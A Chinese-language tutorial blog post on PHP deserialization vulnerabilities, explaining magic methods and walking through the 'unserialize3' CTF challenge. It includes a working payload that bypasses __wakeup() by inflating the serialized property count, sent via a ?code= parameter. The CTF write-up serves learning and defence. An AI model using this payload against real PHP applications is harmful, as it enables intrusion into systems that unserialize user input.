系列2:14、PHP反序列化漏洞相关

PHP反序列化

一、Magic函数

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖PHP的默认操作。
下列方法名被认为是魔术方法:
__construct()、__destruct()、__call()、__callStatic()、__getl)、__set()、__isset()、___unset()、__sleep()、__wakeup()、__serialize()、__unserialize()、__toString0)、__invoke()、__set_state()、__clone()、__debugInfo()。
(开头为两个下划线)
系列2:14、PHP反序列化漏洞相关_第1张图片

系列2:14、PHP反序列化漏洞相关_第2张图片

注意:

如果类中同时定义__unserialize()和__wakeup()两个魔术方法,则只有__unserialize()方法会生效,__wakeup()方法会被忽略。(php版本问题)

二、PHP序列化与反序列化(对象与字符串之间的相互转换)

1、序列化格式

字符串:serialize
json字符串:json_encode
xml字符串:wddx_serialize_value
二进制格式
字节数组

2、反序列化

unserialize()对单一的已序列化的变量进行操作,将其转换回PHP的值。

(1)注意:

1、如果传递的字符串不可以序列化,则返回FALSE
2、如果对象没有预定义,反序列化得到的对象是_PHP_Incomplete_Class

(2)作用

1、传输对象
2、用作缓存(Cookie、Session)

前提条件

1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如_destruct()、unlink()
3、操作的内容需要有对象中的成员变量的值,比如:filename

三、实践:(攻防世界)

unserialize3

系列2:14、PHP反序列化漏洞相关_第3张图片
(1)可以看到有一个php的类xctf,成员变量flag以及一个__wakeup()函数。也就是在反序列化这个类的时候会触发__wakeup()函数,但这个函数里的代码为终止,所以需要在反序列化的时候绕过__wakeup()函数。
(2)public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值”。
首先实例化xctf类并对其使用序列化(这里就实例化xctf类为对象test)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$test = new xctf();           //使用new运算符来实例化该类(xctf)的对象为test
echo(serialize($test));       //输出被序列化的对象(test)
?>

(3)执行结果,如下所示

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

(4)将设置属性值为2,可导致反序列化异常,如下所示。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

(5)根据代码中的?code= 可得知,将得到的序列化字符串赋值给code进行传递。
(6)访问url+?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}得到flag,如图所示。
系列2:14、PHP反序列化漏洞相关_第4张图片

补充:

1、PHP反序列化漏洞:

执行unserialize()时,先会调用__wakeup()。当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

2、__wakeup()函数用法:

wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用__wakeup()方法。
例:

<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>

最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello

3、__wakeup()函数漏洞说明:
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
?>

最后页面上输出的就是Student对象的一个序列化输出:

O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。

wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。

当我们将上述的序列化的字符串中的对象属性个数修改为5,变为

O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

最后执行运行的代码如下:

class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');

这样就成功地绕过了__wakeup()函数。

你可能感兴趣的:(渗透测试,渗透测试,安全,web安全)